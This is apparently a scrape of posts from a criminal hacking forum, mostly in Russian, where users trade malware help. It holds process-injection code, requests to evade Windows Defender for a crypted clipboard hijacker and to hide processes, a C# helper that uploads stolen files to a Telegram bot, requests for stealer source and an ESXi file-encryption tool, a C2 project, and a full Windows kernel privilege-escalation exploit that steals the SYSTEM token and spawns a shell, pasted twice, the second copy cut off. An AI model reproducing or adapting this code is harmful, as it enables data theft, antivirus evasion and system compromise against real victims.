WriteProcessMemory(proc_handle, RemoteString, (LPCVOID)¶m, sizeof(param), NULL);
CreateRemoteThread(proc_handle, NULL, NULL, (LPTHREAD_START_ROUTINE)addrFnc, RemoteString, NULL, NULL);
CloseHandle(proc_handle);
return 1;
}
I created a clipper in C# and I am crypting it and loading the bytes into the memory. I am using Assembly.Load() to accomplish this. On runtime, Windows Defender shows “review files that's we will send...” then gets detected as wacatac machine learning.
Some of the things I have done to bypass it:
-Pumping the file to 300MB
-Changing the files assembly info and icon
I do not want to pump the file anymore because this limits the amount of downloads
What should I do to bypass this? Implement ASMI bypass? Anti emulation?
Вопрос, собственно в заголовке. Как возможно скрыть процесс из диспетчера задач?(Возможно не полностью скрыть, а хотябы впихнуть в потоки чужого процесса)
Приостанавливать саму программу при открытии Диспетчера задач - не подойдет.
Желательно без запроса прав администратора.
хочу с гитхаб собрать софтину, установил вижуал с++ какие дополнительные пакеты нужны или установить какие предлагает то есть стандартные?
Hidden content for authorized users.
Создаём класс: MultipartFormBuilder.cs
C#:Copy to clipboard
namespace TelegramSenderEx
{
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
public class MultipartFormBuilder
{
private static readonly string MultipartContentType = "multipart/form-data; boundary=";
private static readonly string FileHeaderTemplate = "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\nContent-Type: application/octet-stream\r\n\r\n";
private static readonly string FormDataTemplate = "\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\";\r\n\r\n{2}";
public string ContentType { get; private set; }
private string Boundary { get; set; }
Dictionary<string, FileInfo> FilesToSend { get; set; } = new Dictionary<string, FileInfo>();
Dictionary<string, string> FieldsToSend { get; set; } = new Dictionary<string, string>();
public MultipartFormBuilder()
{
Boundary = $"----------------------------{DateTime.Now.Ticks:x}";
ContentType = $"{MultipartContentType}{Boundary}";
}
public void AddField(string key, string value) => FieldsToSend.Add(key, value);
public void AddFile(FileInfo file)
{
string key = file.Extension.Substring(1);
FilesToSend.Add(key, file);
}
public void AddFile(string key, FileInfo file) => FilesToSend.Add(key, file);
public MemoryStream GetStream()
{
using var memStream = new MemoryStream();
WriteFields(memStream);
WriteStreams(memStream);
WriteTrailer(memStream);
memStream.Seek(0, SeekOrigin.Begin);
return memStream;
}
private void WriteFields(Stream stream)
{
if (FieldsToSend.Count != 0)
{
foreach (KeyValuePair<string, string> fieldEntry in FieldsToSend)
{
string content = string.Format(FormDataTemplate, Boundary, fieldEntry.Key, fieldEntry.Value);
using var fieldData = new MemoryStream(Encoding.UTF8.GetBytes(content));
fieldData.CopyTo(stream);
}
}
}
private void WriteStreams(Stream stream)
{
if (FilesToSend.Count != 0)
{
foreach (KeyValuePair<string, FileInfo> fileEntry in FilesToSend)
{
WriteBoundary(stream);
string header = string.Format(FileHeaderTemplate, fileEntry.Key, fileEntry.Value.Name);
byte[] headerbytes = Encoding.UTF8.GetBytes(header);
stream.Write(headerbytes, 0, headerbytes.Length);
using FileStream fileData = File.OpenRead(fileEntry.Value.FullName);
fileData?.CopyTo(stream);
}
}
}
private void WriteBoundary(Stream stream)
{
byte[] boundarybytes = Encoding.UTF8.GetBytes($"\r\n--{Boundary}\r\n");
stream.Write(boundarybytes, 0, boundarybytes.Length);
}
private void WriteTrailer(Stream stream)
{
byte[] trailer = Encoding.UTF8.GetBytes($"\r\n--{Boundary}--\r\n");
stream.Write(trailer, 0, trailer.Length);
}
}
}
И ещё один класс помощник: WebClientExtensionMethods.cs
C#:Copy to clipboard
namespace TelegramSenderEx
{
using System;
using System.Net;
public static class WebClientExtensionMethods
{
public static byte[] UploadMultipart(this WebClient client, string address, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
return client?.UploadData(address, stream.ToArray());
}
public static byte[] UploadMultipart(this WebClient client, Uri address, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
return client?.UploadData(address, stream.ToArray());
}
public static byte[] UploadMultipart(this WebClient client, string address, string method, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
return client?.UploadData(address, method, stream.ToArray());
}
public static byte[] UploadMultipart(this WebClient client, Uri address, string method, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
return client?.UploadData(address, method, stream.ToArray());
}
public static void UploadMultipartAsync(this WebClient client, Uri address, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
client?.UploadDataAsync(address, stream.ToArray());
}
public static void UploadMultipartAsync(this WebClient client, Uri address, string method, MultipartFormBuilder multipart)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
client?.UploadDataAsync(address, method, stream.ToArray());
}
public static void UploadMultipartAsync(this WebClient client, Uri address, string method, MultipartFormBuilder multipart, object userToken)
{
client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
using var stream = multipart.GetStream();
client?.UploadDataAsync(address, method, stream.ToArray(), userToken);
}
}
}
И теперь самый главный класс с отправкой данных TGLog.cs
C#:Copy to clipboard
namespace TelegramSenderEx
{
using System;
using System.IO;
using System.Net;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
using System.Text;
public static class TGLog
{
private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error) => error.Equals(SslPolicyErrors.None);
/// <summary>
/// Метод для отправки архива в телеграм канал
/// </summary>
/// <param name="token">Токен канала</param>
/// <param name="chatID">Чат ID пользователя</param>
/// <param name="сaption">Заголовок сообщения</param>
/// <param name="pathToFile">Полный путь до файла</param>
private static void SendFile(string token, string chatID, string сaption, string pathToFile)
{
#region Установка протоколов безопасности для успешной отправки файлов
// (SecurityProtocolType)(0xc0 | 0x300 | 0xc00)
ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
| SecurityProtocolType.Ssl3
| (SecurityProtocolType)768 // Tls 11
| (SecurityProtocolType)3072; // Tls 12
#endregion
using var client = new WebClient { Proxy = null };
var multipart = new MultipartFormBuilder();
multipart.AddField("caption", сaption);
multipart.AddField("chat_id", chatID);
multipart.AddFile("document", new FileInfo(pathToFile)); // Добавление файла
string UploadUrl = $"https://api.telegram.org/bot{token}/sendDocument?chat_id={chatID}"; // Тут ничего изменять не нужно.
var url = new Uri(UploadUrl, UriKind.Absolute);
var rawResponse = client.UploadMultipart(url, "POST", multipart); // Отправка файла через POST
var response = Encoding.UTF8.GetString(rawResponse); // Для получения ответа...
}
}
}
Всем привет, нужно похукать функции у dll на точке входа. То есть когда софт запускается, он загружает dll, которая сразу же начинает выполнятся, поэтому я не знаю как успевать хукать функции у dll
Никто не натыкался на готовую библиотеку, которая умеет парсить логи различных антивирусов и доставать оттуда алерты и другую полезную информацию? Я знаю только https://www.hexacorn.com/blog/category/software-releases/dexray/ - но там в основном упор на файлы в карантине, да и многих топовых аверов нет, а мне нужно доставать инфу из логов. Ресерчить каждого авера довольно муторно, думал, может кто-нить уже эту работу проделал и запилил библиотеку для этого.
Я вот задумался, где может это пригодиться в реальных кейса, а так же в
разработке малваря, когда нити будут лучше потоков.
Кейсов сам не придумал. Хотел спросить у людей, которые больше в этом
разбираются, может кто-то использовал их на практике или знает кейсы?
Для тех, кто не понимает о чем речь, вот хорошая статья:
](https://agraphicsguynotes.com/posts/fiber_in_cpp_understanding_the_basics/)
Fiber, a less known concept compared with coroutine, is a pretty powerful addition to cooperative multitasking. As a graphics programmer in game industry, I totally appreciate the great flexibility that fiber brings on the table. As a matter of fact, I feel the tech is a little bit...
agraphicsguynotes.com
Hidden content for authorized users.
Код начинается с библиотек, нам понадобится всего одна "System", объявляем её (по стандарту она и так будет объявлена, но вдруг вы из тех кто удаляет перед началом работы все библиотеки и пишет только те, которые пригодятся при разработке
C#:Copy to clipboard
using System;
Пароль состоит из чего? Буквы (могут быть разного регистра) и цифры. Можно ещё
использовать спец. символы, но в нашем примере их не будет.
Мы объявляем массив в котором будут содержаться цифры и все буквы разного
регистра. У нас будут только латиница, так как я не приемлю пароли на
кириллице.
C#:Copy to clipboard
string[] arr = { "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Z", "b", "c", "d", "f", "g", "h", "j", "k", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "z", "A", "E", "U", "Y", "a", "e", "i", "o", "u", "y" };
И объявляем переменную в которой будет присвоено значения пароля:
C#:Copy to clipboard
string iPass = "";
Сейчас эта переменная пуста, но в дальнейшем мы поочерёдно будем заполнять её
случайными символами из массива.
Ну и чтобы выбрать случайный индекс массива нам понадобится объявить сам
рандом:
C#:Copy to clipboard
Random rnd = new Random();
Осталось совсем чуть-чуть, теперь мы будем создавать сам пароль с помощью цикла "for":
C#:Copy to clipboard
for (int i = 0; i < 30; i ++)
{
iPass = iPass + arr[rnd.Next(0, 57)];
}
И так, что же в цикле произошло? Мы объявили нулевую переменную, установили условие "Если i меньше 30-ти - выполнять" и добавили действие которое будет выполнятся по окончанию 1 круга цикла: "i++" - это значит что к переменной i будет прибавляться единица. Если проще говорить, то 30 - это цифра обозначающие количество символов в вашем пароле.
Внутри цикла берётся наша переменная с паролем (на данный момент пустая" и к
ней прибавляется содержимое случайной ячейки массива.
arr - это имя нашего массива.
rnd - имя объявлённого нами рандома.
.Next - действия рандома, которая выбирает случайную цифру.
(0, 57) - указали ограничения между каким промежутком выбирать цифру.
Промежуток не должен выходить за рамки массива. У нас 58 ячеек в массиве (если
считать как нормальный человек, программа же ведёт счёт с нуля), поэтому мы
указали от нуля до пятидесяти семи.
Далее выводим полученное в консольное окно:
C#:Copy to clipboard
Console.WriteLine(iPass);
И чтобы консоль не закрылась сразу после выполнения поставленной задачи поставим ключ:
C#:Copy to clipboard
Console.ReadKey();
Теперь при запуске данной программы нам будет выводится случайно
сгенерированный пароль из 30 символов.
Перенести это в Windows Forms не сложно, убираем консольные команды:
C#:Copy to clipboard
Console.WriteLine(iPass);
Console.ReadKey();
Массив выбрасываем после инициализации куда вашей душе угодно, а всё остальное
закидываем в любой обработчик, например кнопку.
Вывести полученное можно в label или textBox, да и вообще в любое место где
есть текст, даже в название формы.
Привет, коллеги кто в теме
Такая зараза getEnabledAccessibilityServiceList
Можно как то скрыться или хук какой сделать ?
Пробовал компонет отключать, блин так он потом не поднимается после включения.
Пишите в л.с.
RUS:
AnonFiles ](https://anonfiles.com/Vfq690P6xd/_.2019._pdf)
anonfiles.com
ENG:
](https://anonfiles.com/r5q992P9xc/A_Tour_of_C_Second_Edition_2018_Stroustrup_B._pdf)
anonfiles.com
Hello xss.is community,
I have a question about compiling a C program for ESXi.
I'm trying to compile my program, but because ESXi uses a very old kernel and doesn't follow POSIX standards, the code doesn't work very well.
I tried to create a VM with centos7 with the minimum of libs to try to compile but it didn't work anyway.
Code:Copy to clipboard
# Build (CentOS 7)
[root@localhost main]# gcc -D_BSD_SOURCE -std=c99 main.c
# Run in (ESXi)
[root@localhost:~] ./a.out
/out: /lib64/libc.so.6: version `GLIBC_2.14' not found (required by ./out)
I also tried compiling statically with -static
but when I run it I get the
following error
Code:Copy to clipboard
[root@localhost:~] ./out -copy /vmfs
Failed to backup directory: /vmfs : Function not implemented
This error is being caused in this block of code, but I know that the problem is in how I am compiling since I know other programs that do the same thing and it works
C:Copy to clipboard
DIR *dir = opendir(dirname);
if (dir == NULL)
{
printf(“Failed to backup directory: %s : %s\n”, dirname, strerror(errno));
return;
}
I'm testing on an ESXi 7
Всем привет! Перевел данный сайт -https://gamehacking.academy/about (не
реклама) в PDF. Вдруг кому пригодится, мне просто удобней в PDF читать. Ссылка
прикреплена внизу.
Google
Disk
VirusTotal
Может у кого-нибудь есть исходники стиллера на С?
Всем привет, помогите собрать данный проект , visual studio выдает кучу ошибок. Не могу понять
credential dumper using C++ and MASM x64. ](https://github.com/Meowmycks/LetMeowIn)
A sophisticated, covert Windows-based credential dumper using C++ and MASM x64. - Meowmycks/LetMeowIn
github.com
у меня такая проблема у меня телеграм бот на яве ратка я хочу сделать функцию бан ру чтоб в ру не могли билд открытьесли я сделаю просто бан ру у меня будет его давать только а мне надо как то сделать чтобы я кнопкой мог оффать и врубать если добавлю Checkbox то автообновления слетят и я хз че делать а еще один билд делать это весь код по новой писать почти
Помогите найти ну хоть какой-нибудь исходник "...сетевой игры LAN/VPN Шашки на java..." или какой-нибудь другой сетевой простой игры. Спасибо.
Столкнулся с проблемой, инжекчу прогу, но антивирусы некоторые просят разрешение tcp для программы. Что можно сделать для того чтобы убрать, либо скрыть? данное чудо. Программа написана на C++, пробовал в брандамаузер разрешить порты, ип ничего не изменилось
Здравствуйте, прежде всего, извините за мой русский, я не очень хорошо на нем говорю.
Я уже несколько месяцев интересуюсь asp.net, но каждый раз, когда я натыкаюсь на страницу с asp.net, я не знаю, что делать и не могу ничего найти. Если у кого-то есть блоги об эксплуатации asp.net, это бы очень помогло мне разобраться в этом.
Сейчас занимаюсь скрытием импортов. Всё скрыл ручками, супер. Смотрю старую
статью про LazyImport с соседнего борда, там тип, скрыв импорты - скрыл их
полностью в прямом смысле.
У меня же компилятор обычный от визуалки он тянет за собой по умолчанию куча
либ-
А у типа с соседнего борда вообще ничего нет- https://ibb.co/L9Wkkzv
View attachment 75077
Мне кажется или дело в компиляторе?
Может кто посоветовать легкий компилятор? Вообще чтобы прям лайт.
Hello this is a new project, I started to implement a C2 in C. It still buggy and just have Raw TCP channel. It can keep simultaneous sessions and for now have just two commands which are spawning a shell and terminate the session. The code is not well organized, I need to split it in proper files so it become more clear and manageable. Any kind of tips are welcome, suggestion on changes of code are welcome too.
I will try to improve this code in my free time, hope you all enjoy. I know that there is a lot of already ready made C2, but the point here is to learn and make the code nice to extend.
Project: http://52rh4ydtapqtl36quxz6uedcmcygkef5fedb534dvgzqyufoj5xml7id.onion/el84/c3
Привет форум!
Раньше для работы с исходинками на C/C++ написанных под Windows использовал VS
установленную на виртуалке с виндой.
Последнее время подсел на линукс и как то не хочется с него уходить. Решил
попробовать писать и собирать билды прям в линуксе. Поиск дал вариант
использования MinGW. Пробовал пособирать под разные битности. Результат не
такой простой оказался как из под винды. Пробовал ради интереса clang. Там
также. Собирается без ошибок, только при запуске на винде или мессага "хелло
ворлд" не выскакивает, или вываливается ошибка что длл какой-то не хватает.
Хотя при запуске через wine в терминале линукса сообщение выходило. Также не
сосвем понятно где в линуксе брать windows.h. При сборке некоторых исходников
не смог решит эту проблему.
Попалась на стоковервлоу инфа что проблему можно решить собирая билды через
makefile с использованием каких то доп скриптов.
Отсюда вопрос: Возможно ли собирать и писать новые билды на линуксе для винды?
или нет нужды изобретать велосипед и лезть в дебри если есть тот же clang и
mingw запущенные в cmd?
Всем привет, требуется заменить инструкции JE на JMP в памяти процесса, в откладчиках я смотрел, что инструкция JE занимает 2 байта памяти, а JMP занимает 1 байт памяти, и из-за этого у меня нету понятия как это сделать. Заранее спасибо
Поделитесь примером. На гитхабе смотрел pe2sh и donut но ничего не понятно.
You must have at least 5 message(s) to view the content.
is it possible to implement io completion port to c#?
Есть класс-обертка для DLL написанная на C, есть .h-файлы с описанием интерфейса DLL. Надо на ее основе написать небольшую программу где-то 150-200 строк кода. t.me/indetails
Доброго времени суток.
Открываю исходники, указываю данные для оптарвки, собираю всё это в кучу и в
результате ошибка:
Данные заполняют в соответствующих полях:
napisat' exe v VS kotorii shifruet file s ispol'zovaniem iocp
tol'ko russkogovoryashie, ne novoregi
budget 1000 zelenih
v PM za podrobnostyami
Ребята есть у кого то исходник или ломаная версия rubot 2021 года ? Рабочая.
Я искал по github и наткнулся на один репозиторий
https://github.com/IziCSharp/rubot-cracker
В репозитории исходник самого бота 2019 года и + он идет без главного файла
main который запускает проект.
В репозиторий человек просто скинул папку Debug с вирусом в exe что бы люди
качали и не смогли собрать шли запускать его вирус.
В общим он ГГ
Кто может поделиться ? Не для сливов и продаж.
Basic Crypter Instructions
1. Start Themida. Select your .exe by loading it in the "Input Filename".
2. Under Protection Options check all Extra Protections Options and Encrypt
Strings options
3. Under Virtual Machine, sort by complexity and check the first ones with
the highest degree of complexity.
4. Select your "Output Filename" and Save.
i need help to compile the follow c scripts :
Code:Copy to clipboard
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>
#define STATUS_SUCCESS 0
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET 0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE 0x001401a3
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 0x400000
enum _MODE
{
KernelMode = 0,
UserMode = 1
};
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef NTSTATUS(__stdcall* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
_NtWriteVirtualMemory pNtWriteVirtualMemory;
typedef NTSTATUS(__stdcall* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
_NtQuerySystemInformation pNtQuerySystemInformation;
typedef NTSTATUS(__stdcall* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
_RtlInitUnicodeString pRtlInitUnicodeString;
typedef NTSTATUS(__stdcall* _NtFsControlFile)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
_NtFsControlFile pNtFsControlFile;
typedef NTSTATUS(__stdcall* _NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
_NtCreateFile pNtCreateFile;
int NtLoad() {
HMODULE hModule = GetModuleHandle(L"ntdll.dll");
if (hModule != 0) {
pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hModule, "NtWriteVirtualMemory");
if (!pNtWriteVirtualMemory)
{
printf("[-] NtWriteVirtualMemory not loaded\n");
return 1;
}
pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
if (!pNtQuerySystemInformation)
{
printf("[-] NtQuerySystemInformation not loaded\n");
return 1;
}
pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
if (!pRtlInitUnicodeString)
{
printf("[-] RtlInitUnicodeString not loaded\n");
return 1;
}
pNtFsControlFile = (_NtFsControlFile)GetProcAddress(hModule, "NtFsControlFile");
if (!pNtFsControlFile)
{
printf("[-] NtFsControlFile not loaded\n");
return 1;
}
pNtCreateFile = (_NtCreateFile)GetProcAddress(hModule, "NtCreateFile");
if (!pNtCreateFile)
{
printf("[-] NtCreateFile not loaded\n");
return 1;
}
}
else
{
printf("[-] NTDLL not loaded\n");
return 1;
}
return 0;
}
int GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)
{
int Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;
while ((Status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
else
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
}
if (Status != NULL)
{
Ret = Status;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}
done:
return Ret;
}
NTSTATUS Write64(_In_ uintptr_t* Dst, _In_ uintptr_t* Src, _In_ size_t Size)
{
NTSTATUS Status = 0;
size_t cbNumOfBytesWrite = 0;
Status = pNtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
if (!NT_SUCCESS(Status))
return -1;
return Status;
}
NTSTATUS Exploit()
{
UNICODE_STRING objectName = { 0 };
OBJECT_ATTRIBUTES objectAttr = { 0 };
IO_STATUS_BLOCK iosb = { 0 };
HANDLE handle;
NTSTATUS status = 0;
uintptr_t Sysproc = 0;
uintptr_t Curproc = 0;
uintptr_t Curthread = 0;
uintptr_t Token = 0;
HANDLE hCurproc = 0;
HANDLE hThread = 0;
uint32_t Ret = 0;
uint8_t mode = UserMode;
pRtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtCreateFile failed with status = %x\n", status);
return status;
}
Ret = GetObjPtr(&Sysproc, 4, 4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address = %llx\n", Sysproc);
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current THREAD address = %llx\n", Curthread);
}
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address = %llx\n", Curproc);
}
status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtFsControlFile failed with status = %x\n", status);
return status;
}
printf("[!] Leveraging DKOM to achieve LPE\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
system("cmd.exe");
return STATUS_SUCCESS;
}
int main()
{
if( NtLoad() ) return 1;
NTSTATUS status = Exploit();
return status;
}
Code:Copy to clipboard
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>
#define STATUS_SUCCESS 0
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET 0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE 0x001401a3
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 0x400000
enum _MODE
{
KernelMode = 0,
UserMode = 1
};
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef NTSTATUS(__stdcall* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
_NtWriteVirtualMemory pNtWriteVirtualMemory;
typedef NTSTATUS(__stdcall* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
_NtQuerySystemInformation pNtQuerySystemInformation;
typedef NTSTATUS(__stdcall* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
_RtlInitUnicodeString pRtlInitUnicodeString;
typedef NTSTATUS(__stdcall* _NtFsControlFile)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
_NtFsControlFile pNtFsControlFile;
typedef NTSTATUS(__stdcall* _NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
_NtCreateFile pNtCreateFile;
int NtLoad() {
//HMODULE hModule = GetModuleHandle(L"ntdll.dll");
//HMODULE hModule = GetModuleHandleW(L"ntdll.dll");
HMODULE hModule = GetModuleHandleA("ntdll.dll");
if (hModule != 0) {
pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hModule, "NtWriteVirtualMemory");
if (!pNtWriteVirtualMemory)
{
printf("[-] NtWriteVirtualMemory not loaded\n");
return 1;
}
pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
if (!pNtQuerySystemInformation)
{
printf("[-] NtQuerySystemInformation not loaded\n");
return 1;
}
pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
if (!pRtlInitUnicodeString)
{
printf("[-] RtlInitUnicodeString not loaded\n");
return 1;
}
pNtFsControlFile = (_NtFsControlFile)GetProcAddress(hModule, "NtFsControlFile");
if (!pNtFsControlFile)
{
printf("[-] NtFsControlFile not loaded\n");
return 1;
}
pNtCreateFile = (_NtCreateFile)GetProcAddress(hModule, "NtCreateFile");
if (!pNtCreateFile)
{
printf("[-] NtCreateFile not loaded\n");
return 1;
}
}
else
{
printf("[-] NTDLL not loaded\n");
return 1;
}
return 0;
}
int GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)
{
int Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;
while ((Status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
else
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
}
if (Status != NULL)
{
Ret = Status;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}
done:
return Ret;
}
NTSTATUS Write64(_In_ uintptr_t* Dst, _In_ uintptr_t* Src, _In_ size_t Size)
{
NTSTATUS Status = 0;
size_t cbNumOfBytesWrite = 0;
Status = pNtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
if (!NT_SUCCESS(Status))
return -1;
return Status;
}
NTSTATUS Exploit()
{
UNICODE_STRING objectName = { 0 };
OBJECT_ATTRIBUTES objectAttr = { 0 };
IO_STATUS_BLOCK iosb = { 0 };
HANDLE handle;
NTSTATUS status = 0;
uintptr_t Sysproc = 0;
uintptr_t Curproc = 0;
uintptr_t Curthread = 0;
uintptr_t Token = 0;
HANDLE hCurproc = 0;
HANDLE hThread = 0;
uint32_t Ret = 0;
uint8_t mode = UserMode;
pRtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtCreateFile failed with status = %x\n", status);
return status;
}
Ret = GetObjPtr(&Sysproc, 4, 4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address = %llx\n", Sysproc);
